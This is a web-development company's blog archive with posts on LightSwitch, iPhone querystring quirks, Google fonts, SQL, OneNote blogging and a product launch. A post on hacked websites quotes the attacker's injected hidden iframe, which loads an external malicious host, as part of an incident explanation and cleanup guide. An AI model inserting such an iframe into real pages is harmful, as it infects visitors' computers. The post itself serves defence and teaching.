Archive for the ‘Uncategorized’ Category

Lightswitch ‘getauthenticationinfo’ notfound

Thursday, December 8th, 2011

Simply read this post and you issue will be solved.
issue: Load operation failed for query ‘GetAuthenticationInfo’. The remote server returned an error: NotFound.

1) This error is deceiving – the error doesn’t actually have to do with an incorrectly configured system.
2) The solution is simple :-)

Login to your server (mine is Windows 2008 R2) > Open IIS Manager > select your Lightswitch site > click on Authentication (under IIS) > ensure ‘Anonymous Authentication’ is the only one enabled.

Restart your application from the browser and you should be good.  We’ll have more to come related to Lightswitch development.

UPDATED: 1/26/2012
If the above solutions does not work – just REPAIR .NET 4.0 and restart your server.  This just worked for me on a new server configuration.


Querystring not working on iPhone

Wednesday, May 11th, 2011

Known Browser Issue: Safari on iPhone 4.2.6 and below
Known Issue Overview: When requesting a .NET or Classic ASP / VBScript page using Safari on iPhone v. 4.2.6 the querystring value is modified.  We would expect ‘?id=12′ to be processed as ‘request.querystring(”id”) = 12′.  However, this is not the case.
Solution: Trim(Split(Request.Querystring(”id”),”\o”)(0)
Reason: When parsing the querystring we noticed that Safari was rendering the ‘id’ parameter’s value as
[value] \o [URL]?id=12 \o

More Information: .Net or classic ASP / VBScript are affected by this issue if iPhone is running below version 4.3 (Go to Settings > General > About on the iPhone to find the version).

Safari will acquire the querystring value, the actual issue is the data within the querystring. A normal querystring request would provide you with the passed parameter (i.e. ?id=12, request.querystring(”id”) = 12) right? It should, but when processing this request with Safari, the querystring value is modified to include the URL and some additional escape characters.

Here is what we found:
We passed a value within the ‘id’ parameter: http://www.xyz.com?id=testtest. Safari processed the request.querystring(”id”) and translated ‘testtest’ to ‘testtest \o http://www.xyz.com/?id=testtest \o’

The fix is simple: Trim(Split(Request.Querystring(”id”),”\o”)(0), but unexpected.

Hosted Fonts… Finally

Thursday, January 27th, 2011

Tired of the way fonts have worked online for the last 20 years? So is everyone else. Fortunately there are a variety of services emerging (both free and paid) providing hosted web fonts. These fonts should be completely cross platform/cross browser compatible and they require nothing on the users end.

The two platforms that I am most aware of are Google Web Fonts (and the Google Web Fonts API) and Ascender Fonts. The Google Web Fonts are publicly available for free, Ascender Fonts has different licensing packages available depending on your needs.

With Google Web Fonts using a font on your site is as simple as including a link to a stylesheet hosted at “http://fonts.googleapis.com/” and providing a querystring value for the font you want to include. For example to include their “Tangerine” font you would include this link “http://fonts.googleapis.com/css?family=Tangerine”. You can then reference that font family just as you would any other font family in your styles.

font-family: 'Tangerine', serif;
font-size: 48px;
text-shadow: 4px 4px 4px #aaa;

Full documentation for getting started with google web fonts can be found here http://code.google.com/apis/webfonts/docs/getting_started.html

SQL Select Statement: Random, Fixed Number of Distinct Records

Monday, December 13th, 2010

I recently ran into a development process that required SQL generated records to solve the following problem.

- Select ‘N’ number of records
- The records needed to random
- There could not be any duplicates
- There must be the set number of records returned

Here is the solution I came up with to solve this problem.

declare @numberOfRecords bigint

Select TOP (@numberOfRecords) field1 from
(Select * from table1 where id=’3′) a
group by field1 order by NewID()

Using Onenote to Manage your Blog

Monday, November 8th, 2010

This article was written and transmitted to this blog using Onenote.

We have recently received several requests from clients regarding Onenote. The single, most frequently asked question is, “How do I use Onenote to communicate with my Wordpress blog?”. Here’s the answer.

What do I need to know/do to Wordpress to make this work?

  1. The version of Wordpress that you’re running
    1. NOT RUNNING 2.6.0 or higher…
      1. Upgrade
    2. RUNNING THE RIGHT VERSION…
      1. Login to your administrative panel to activate XML-RPC communication
        1. Login > Settings > Writing
        2. Check the box to the left of, “Enable the Wordpress, Movable Type, MetaWeblog and Blogger XML-RPC publishing protocols”
        3. Login to the site using an FTP client (like Filezilla http://filezilla-project.org/download.php )
        4. Ensure that the “xmlrpc.php” file is in the website root directory.

How do I use Onenote to do this?

  1. Create a new page in one of your Notebooks within Onenote
  2. When you’re ready to upload it to the blog…
    1. From the main menu
      1. File > Send > Send to Blog
    2. Your post will appear in a new window. This new window controls the publishing of your post to a blog.
    3. Select ‘Manage Accounts’ from the ‘Blog Post’ tab in the main menu
      1. Select ‘New’
      2. Choose the ‘Blog’ – this is the type of blog you have – this example is focused on Wordpress
      3. Click the ‘Next’ button
      4. In the ‘Blog Post URL’ – enter your blog address
      5. Username and Password are the same credentials that you use to login to your Wordpress administrative area.

Still need help?

This website is helpful for solving issues not covered in this post: http://office.microsoft.com/en-us/word-help/help-with-blogging-in-word-HA010164021.aspx?ver=14&app=winword.exe

If you’re a tech person…

Thursday, May 20th, 2010

Dilbert1

Google Search Results: “This site may harm your computer”

Friday, June 12th, 2009

Google has introduced a new piece of logic into their indexing engine, which detects malware embedded within websites.  If your website has been compromised, which I’ll explain what ‘compromised’ means later, then you will see “This site may harm your computer” when you search Google for your website.

Within this article we will discuss

  1. What does it mean to have a compromised website
  2. How does a compromise occur
  3. How to resolve this issue
  4. How to I work with Google to remove the “This site may harm your computer” link

What does it mean to have a compromised website?

Recently we had a client call us with this concern.  Several of his clients contacted him and said that when they searched for his website on Google, they were presented with a link under the title of the result page that said “This site may harm your computer”.  The result looked just like this:

This site may harm your computer

How did this happen?

In this case, it is easy to look at the result of the attack and work backward toward how the attack occurred.  Here is what we know;

  1. The attacker placed the following line of code on a website file:
    <iframe src="http://filmlifeimages.cn:8080/index.php"
    width=180 height=111 style="visibility: hidden"></iframe>
  2. After consulting with the client, who had FTP access, we knew that he was not responsible for uploading a file containing this information
  3. We noted the date of the modified file on the file system 6/10/2009 @  2:08am CST
  4. We then looked at the FTP log files to understand what happened on the 10th at 2:08am.
  5. The log file outlined that every page on the site was overwritten, status 226, on or around 2:08am
  6. The account used to access the server was a valid FTP account.
Based on this information, and a few other things that we collected from the client, we are 99% sure that the client’s computer was infected by a ‘keylogger’ program.  A ‘keylogger’ does exactly what it sounds like, it logs all of the keystrokes you make on your computer, and oftentimes, transmits the data to a computer outside of your network, which is then accessed by the hacker.
To test our ‘keylogger’ theory, we connected a dummy system to the infected website and sure enough, we were infected with a keylogger.

How do I resolve this issue?
If you are the hosting company – you should know what to do.  Reset the FTP account password, remove ‘any’ access to port 21 on your firewall and begin restricting access by IP or VPN.

If you are the client – your computer, and potentially your network is infected with a keylogger program.  Our suggestion is that you complete the following steps immediately.

  1. If you do online banking, call your bank immediately to have your account credentials changed
  2. If you have purchased anything online recently, call your credit card companies and have them reissue you a new card.
  3. If you have provided any websites significant information about your identity, contact an identity theft company

Once you have completed the steps above, you now have to remove the keylogger program from your system.  We recommend using AVAST, found at http://www.avast.com/, there are several types of software like this out on the internet.  Run a full scan of your system and remove all of the infected files.  Moving forward, you should run these types of programs constantly and conduct full system/network scan on a routine basis.

How to I work with Google to remove the “This site may harm your computer” link

The process to remove the “harmful” status is very basic. Navigate to this website and scroll to the bottom of the page  http://www.google.com/support/webmasters/bin/answer.py?answer=45432

New Product Launch!

Tuesday, February 17th, 2009

Do you have part-time or hourly employees? Tired of managing their schedules? SubItUp is a great tool to assist you, and at very low cost!

Brattle is thrilled to announce the launch of SubItUp.com! This is a new way to manage a company’s schedule changes with absolute ease. SubItUp allows employees to join the company and department for which they work, upload their schedule to the site, and then begin to pick-up more shifts, offer ones they need covered, and switch shifts! This is a great new way to keep all the employees, managers, and owners of a business in the loop in regards to schedule changes. The site offers moderator abilities for owners and managers, or employees may use the site as a self-organized tool to arrange shift changes amongst themselves.

SubItUp and all of its utilities and applications were entirely developed by our talented Brattle team.  The site is currently being tested by MIT, but it is also open for use by the companies country-wide. SubItUp is free to use for employees, and for owners and managers to open up the business/moderator end of the site it is only $15/month.

SubItUp is the first site of its kind to incorporate three kinds of schedule changes plus the ability for managers and owners to oversee all of these changes. We are very proud of SubItUp and we encourage you to visit the site and see for yourself why we think it is going to be a breakthrough for businesses everywhere that schedule employees by the hour. No more last minute phone calls by employees to every person in the business that could pick up their shift, no more frustrated managers when no one shows up for a shift, etc. SubItUp provides a convenient, single location and mechanism to organize and manage your business’ work schedule.

Visit SubItUp.com or call us here at Brattle with any questions about how SubItUp can improve your business!

Like what you see? Let's talk.

Monday - Friday, 8:30am - 8:00pm EST.
Call us at 617-229-7210
*Required Fields